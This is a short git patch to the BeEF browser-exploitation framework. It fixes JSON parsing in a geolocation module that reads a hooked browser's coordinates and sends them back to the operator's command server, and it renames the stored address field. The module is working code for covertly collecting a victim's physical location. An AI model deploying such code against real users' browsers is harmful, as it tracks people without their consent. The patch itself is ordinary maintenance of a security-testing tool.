From 0dac182838bf2a522966307280800a0fb7b11bf3 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Sat, 19 Feb 2011 17:02:46 +0000 Subject: [PATCH] issue 271: fixed json response parsing (jquery 1.5 bug, see code comments) git-svn-id: https://beef.googlecode.com/svn/trunk@750 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9 --- modules/beefjs/geolocation.js | 28 +++++++++++-------- .../physical_location/physical_location.rb | 2 +- 2 files changed, 18 insertions(+), 12 deletions(-) diff --git a/modules/beefjs/geolocation.js b/modules/beefjs/geolocation.js index dd1d147bc..2d83cb65a 100644 --- a/modules/beefjs/geolocation.js +++ b/modules/beefjs/geolocation.js @@ -17,23 +17,29 @@ beef.geolocation = { */ getOpenStreetMapAddress: function(command_url, command_id, latitude, longitude){ + // fixes damned issues with jquery 1.5, like this one: + // http://bugs.jquery.com/ticket/8084 + $j.ajaxSetup({ + jsonp: null, + jsonpCallback: null + }); + $j.ajax({ - dataType: "json", error: function(xhr, status, error){ - console.log("[geolocation.js] openstreetmap error"); + //console.log("[geolocation.js] openstreetmap error"); beef.net.sendback(command_url, command_id, "latitude=" + latitude + "&longitude=" + longitude - + "&openStreetMap=UNAVAILABLE" + + "&osm=UNAVAILABLE" + "&geoLocEnabled=True"); }, success: function(data, status, xhr){ - console.log("[geolocation.js] openstreetmap success"); - // commenting it for now, it seems there are issues with the returned json - //var jsonData = $j.parseJSON(data); + //console.log("[geolocation.js] openstreetmap success"); + var jsonResp = $j.parseJSON(data); + beef.net.sendback(command_url, command_id, "latitude=" + latitude + "&longitude=" + longitude - //+ "&openStreetMap=" + jsonData.display_name - + "&openStreetMap=UNAVAILABLE" +// + "&osm=" + encodeURI(jsonResp.display_name) + + "&osm=tofix" + "&geoLocEnabled=True"); }, type: "get", @@ -52,16 +58,16 @@ beef.geolocation = { beef.net.sendback(command_url, command_id, "latitude=NOT_ENABLED&longitude=NOT_ENABLED&geoLocEnabled=False"); return; } - console.log("[geolocation.js] navigator.geolocation.getCurrentPosition"); + //console.log("[geolocation.js] navigator.geolocation.getCurrentPosition"); navigator.geolocation.getCurrentPosition( //note: this is an async call function(position){ // success var latitude = position.coords.latitude; var longitude = position.coords.longitude; - console.log("[geolocation.js] success getting position. latitude [%d], longitude [%d]", latitude, longitude); + //console.log("[geolocation.js] success getting position. latitude [%d], longitude [%d]", latitude, longitude); beef.geolocation.getOpenStreetMapAddress(command_url, command_id, latitude, longitude); }, function(error){ // failure - console.log("[geolocation.js] error [%d] getting position", error.code); + //console.log("[geolocation.js] error [%d] getting position", error.code); switch(error.code) // Returns 0-3 { case 0: diff --git a/modules/commands/host/physical_location/physical_location.rb b/modules/commands/host/physical_location/physical_location.rb index 68848353a..e7187e6b7 100644 --- a/modules/commands/host/physical_location/physical_location.rb +++ b/modules/commands/host/physical_location/physical_location.rb @@ -30,7 +30,7 @@ class Physical_location < BeEF::Command content['Geolocation Enabled'] = @datastore['geoLocEnabled'] content['Latitude'] = @datastore['latitude'] content['Longitude'] = @datastore['longitude'] - content['Open Street Map Address'] = @datastore['openStreetMap'] + content['OSM address'] = @datastore['osm'] save content end